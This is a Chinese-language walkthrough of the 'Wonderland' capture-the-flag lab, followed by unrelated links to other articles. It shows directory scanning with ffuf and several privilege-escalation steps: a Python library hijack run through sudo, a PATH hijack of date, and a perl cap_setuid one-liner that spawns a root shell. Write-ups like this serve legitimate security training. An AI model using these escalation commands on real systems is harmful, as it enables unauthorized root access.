涉及,解密,扫描,横向移动,纵向移动

仙境

掉进兔子洞,进入仙境。

获得shell

解法一:

目录扫描

ffuf -u http://10.10.134.189/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c
ffuf -u http://10.10.134.189/r/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r
ffuf -u http://10.10.134.189/r/a/b/b/i/t/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c -r

然后查看源码,会发现一个依据。

解法二:

查看源码时会发现/img目录,进入之后

然后主页也是

跟着白色走

可能会产生疑问,但是当你扫一次目录后明白了

shell提权

alice

当你ls发现目录下为root.txt时,就会知道这并不简单,根据提示这里的一切都是颠倒的。

很容易想到cat /root/user.txt
thm{"Curiouser and curiouser!"}

find虽然啥也没找到,但是sudo -l找到一个

查看python文件会发现使用了random库,ok
捏造一个
echo 'import os;os.system("/bin/bash")' > random.py
chmod +x random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

此时就来到了

rabbit

cat 查看

Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 08 Apr 2023 07:54:53 +0000
Ask very nicely, and I will give you some tea while you wait for him

很明显用到了date,此时只需修改PATH,伪造一个date即可提权

咳咳,之前的笔记:https://www.cnblogs.com/-Lucky-/p/17195932.html

执行即可

此时来到了

hatter

发现密码

尝试使用此密码 ssh 为我们提供一个完整的 shell 作为用户hatter

接下来就嘎了

getcap -r / 2>/dev/null 命令用于递归地查找整个文件系统上所有带有特殊权限的文件,并将其输出到标准输出中。

/usr/bin/perl5.26.1 文件是 Perl 语言的解释器程序。cap_setuid+ep 是它的安全标志,其中 ep 表示可执行程序具有特权执行(privileged execution)权限,即在执行该程序时,进程的执行者可以提升自己的特权等级,而 cap_setuid 表示程序具有设置用户 ID 权限(setuid)的能力。

很幸运地在:https://gtfobins.github.io/gtfobins/perl/

找到了利用方法

/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

此时为root

随机推荐

  1. sort和sorted区别----引子:多维列表,如何实现第一个元素升序,第二个元素降序

    一.列表内建方法--sort() 作用:就地对列表排序(直接在原列表上做排序) 语法: list.sort(func=None, key=None, reverse=False) 当reverse=F ...

  2. 两条命令搞定 ChatGPT API 的调用问题

    自2022年11月30日 OpenAI 发布 ChatGPT 以来,虽然时有唱衰的声音出现,但在OpenAI不断推陈出新,陆续发布了OpenAPI.GPT-4.ChatGPT Plugins之后,似乎 ...

  3. Vue 路由导航守卫

    Vue 路由导航守卫 一:全局守卫 (1) router.beforeEach beforeEach((to, from, next) => {}) 接收三个参数,在路由切换成功之前调用 to ...

  4. pysimplegui之调试输出(easy_print = Print = eprint)

    "Easy" API 系列中的另一个调用是EasyPrint. 与其他常用的 PySimpleGUI 调用一样,同一个调用还有其他名称.您可以使用Print或eprint除了Eas ...

  5. Java对象内存管理

    对象内存管理介绍 编译好的java程序需要运行在JVM中:JVM为java程序提供并管理所需要的内存空间:"栈"."堆"."方法区"三个区域 ...

  6. Kubuesphere部署Ruoyi(二):部署kubesphere

    先决条件: 更换DNS 更换apt的镜像源 Ubuntu下永久性修改DNS vi /etc/systemd/resolved.conf DNS字段取消注释,并修改DNS为223.5.5.5 223.5 ...

  7. Windows 与 虚拟机VirtualBox 共享挂载

    在自己的电脑上安装了虚拟机后,经常会有需要把Windows这边的文件或文件夹拷贝到虚拟机上,简单记录一下. 如下图,设备--共享文件夹 然后在Windows上创建共享文件夹 执行命令 sudo mkd ...

  8. 白嫖GitHub Action实现开源项目CICD

    什么是CI/CD?让你的项目变得更加敏捷! 在今天这个快速变化的时代,开发者们需要与时俱进,不断提升自己的工作效率.在这篇文章里,将一起探讨如何使用CI/CD和Github Action让你的项目更加 ...

  9. 张量(Tensor)、标量(scalar)、向量(vector)、矩阵(matrix)

    张量(Tensor):Tensor = multi-dimensional array of numbers 张量是一个多维数组,它是标量,向量,矩阵的高维扩展 ,是一个数据容器,张量是矩阵向任意维度 ...

  10. Django transaction.atomic 事务的使用

    函数 transaction.atomic 数据库的读写操作中,事务在保证数据的安全性和一致性方面起着关键的作用,而回滚正是这里面的核心操作. 遇到并发的时候常常会因为接口的访问顺序或者其他情况,导致 ...